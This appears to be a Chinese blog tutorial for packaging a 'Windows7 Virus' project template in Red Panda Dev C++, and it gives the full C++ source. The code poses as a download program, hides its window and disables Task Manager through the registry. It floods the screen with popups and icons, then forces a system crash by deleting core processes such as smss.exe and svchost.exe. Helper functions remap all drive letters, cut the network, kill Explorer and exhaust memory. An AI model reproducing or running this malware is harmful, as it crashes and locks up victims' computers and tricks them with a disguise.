Red Panda Dev C++ 病毒项目模板

前言

在看这篇文章之前,请查看此文章!否则你可能看不懂。

还记得上一讲吗?

没错,我的小脑瓜动了动,就。。。。。

好吧,模板,你又一次成功引起了我的注意

一、创建项目

首先创建一个项目:

1、打开Red Panda Dev C++。

2、点击 "文件[F]" → "新建[N]" → "项目[P]...",即可生成一个项目。

注意啦!这一次要把项目名称设置为Windows7 Virus,项目类型是Basic中的Windows Application。

点击"Yes"!

二、编写文件

这个项目模板需要三个文件:

其实这次的两个头文件和以前的一样,我怕有人没有下载heker.h和Heike.h,就搞了一个特定头文件。

代码:

main.cpp

这是示例程序。(我为了装作是官方,便把注释改成了英文)

cpp 复制代码
/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{
	Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A File
	Make_Text("WinMain.txt", "Creat Error!");
	while(1)
	{
		thistime++;  //Add This Time
		Icon(0, 0, 2);  //Draw Icons
		system("start MuOpawS.vbs");  //Start The Files
		system("start WinMain.txt");
		Icon(0, 0, 1);
		system("start MuOpawS.vbs");
		system("start WinMain.txt");
		Icon(0, 0, 2);
		system("start MuOpawS.vbs");
		if(thistime == 60)  //If For Count To 60
			Blue_Screen();  //Blue Screen
	}
}
int main(){  //Main Function
	Hide();  //Hide Window
	Tsk();  //More Tsk
	ProcessRun();  //Have Process
	if (MessageBox(NULL, "Welcome To Our Jin Kela DownLoad Progral!\nStart DownLoad Please Choose \"OK\",\nOtherwise Choose \"No\".", "DownLoad", MB_ICONINFORMATION | MB_YESNO) == IDYES)  //Tips Window
	{
		virus();  //Run Virus
	}else
	{
		MessageBox(NULL, "You Can Not EXIT!!!", "\\ A /", MB_ICONWARNING | MB_OK);  //Can Not Exit
		virus();  //Run Virus
	}
	return 0;
}

Heike.h

cpp 复制代码
#ifndef HEIKE_H

#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
	//HWND hWnd = GetConsoleWindow(); 
    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
		ofstream outfile(same,ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
	} 
	outfile<<name;
	outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{
	Sleep(x * 1000);//等待n秒
	if(y == 1)
		system("shutdown -p");//关机
	if(y == 2)
		system("shutdown -s -r 0");//重启
	if(y == 3)
		system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}
//图标的好管理
void Icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
	while(1)
	{
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 2)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
	}
}
//卡死
void Die()
{
	while(1)
	{
		new char;
		malloc(INT_MAX);
	}
}
//远程攻击
void Shutdown_Go()
{
	system("shutdown /i");
}
void color (int a) {
    if (a == 0 || a == 14 || a == 20) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 1 || a == 12) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 2) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    } else if (a == 3) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    } else if (a == 4 || a == 11) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED);
    } else if (a == 5 || a == 13) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    } else if (a == 7) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 15) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
    } else if (a == 16) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    } else if (a == 17) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
    } else if (a == 8) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 6) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    } else if (a == 9) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
    }
}
void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}
#endif

heker.h

cpp 复制代码
#ifndef HEKER_H

#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>

using namespace std;
void SetPos (COORD a) {
	HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {
	COORD pos = { i, j };
	SetPos (pos);
}
VOID Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{
	if(ico == "错误")
		MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);
	if(ico == "警告")
		MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);
	if(ico == "问号" || ico == "访问")
		MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);
	if(ico == "信息")
		MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}
struct CP{
	VOID start()
	{
		Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
		system("start 爱的病毒.bat");
	}
	void stop()
	{
		Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
		system("start 爱的病毒2.bat");
	}
}cp;

VOID echo_of()
{
	system("@echo off");
}
VOID Tsk()
{
	echo_of();
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}
void full_screen() {
	echo_of();
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{
	echo_of();
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
	CursorInfo.bVisible = false; //隐藏控制台光标
	SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{
	echo_of();
    while (1)
    {
        if (*p != 0)
        {
        	printf("%c", *p++);
        }
        else
        {
            break;
        }
        Sleep(time * 1000);
    }
}
void show()
{
	echo_of();
	color(2);
	printf("notepad - 记事本\n");
	printf("calc - 计算器\n");
	printf("winver - 关于\"Windows\"\n");
	printf("Nslookup - 默认服务器\n");
	printf("cmd - 命令行\n");
	printf("cleanmgr - 磁盘清理\n");
	printf("charmap - 字符映射表\n");
	printf("dxdiag - Dxdiag修复工具\n");
	color(1);
	printf("taskmgr - 任务管理器\n");
	color(2);
	printf("wiaacmgr - 扫描仪\n");
	printf("mspaint - 画图\n");
	printf("mmc - 控制台\n");
	color(532);
}
void Start(string same)
{
	echo_of();
	if(same == "notepad")	
		system("start notepad");
	if(same == "calc")	
		system("start calc");
	if(same == "winver")	
		system("start winver");
	if(same == "Nslookup")	
		system("start Nslookup");
	if(same == "cmd" || same == "")	
		system("start cmd");
	if(same == "cleanmgr")	
		system("start cleanmgr");
	if(same == "charmap")	
		system("start charmap");
	if(same == "dxdiag")	
		system("start dxdiag");
	if(same == "taskmgr")	
		system("start taskmgr");
	if(same == "wiaacmgr")	
		system("start wiaacmgr");		
	if(same == "mspaint")	
		system("start mspaint");
	if(same == "mmc")	
		system("start mmc");		
}
void Taskkill(const char *same)
{
	char a[10] = "taskkill ";
	strcat(a, same);
	system(a);
}
#endif

三、创建模板

1、点击 "文件[F]" → "新建[N]" → "模板[T]...",为你的项目创建一个模板。

名字就用Windows7 Virus,描述想怎么改怎么改,分类是Basic。模板图标嘛,请去上面下载!

就是这样:

打开"附加",把3个选项都点上:

点击"创建" !

再次点击 "文件[F]" → "新建[N]" → "项目[P]...",你就可以发现:

bye!

相关推荐
九河云39 分钟前
AWS账号注册费用详解:新用户是否需要付费?
服务器·云计算·aws
Lary_Rock44 分钟前
RK3576 LINUX RKNN SDK 测试
linux·运维·服务器
幺零九零零2 小时前
【计算机网络】TCP协议面试常考(一)
服务器·tcp/ip·计算机网络
XiaoLeisj2 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
云飞云共享云桌面3 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
励志成为嵌入式工程师3 小时前
c语言简单编程练习9
c语言·开发语言·算法·vim
捕鲸叉3 小时前
创建线程时传递参数给线程
开发语言·c++·算法
A charmer3 小时前
【C++】vector 类深度解析:探索动态数组的奥秘
开发语言·c++·算法
Peter_chq3 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
记录成长java5 小时前
ServletContext,Cookie,HttpSession的使用
java·开发语言·servlet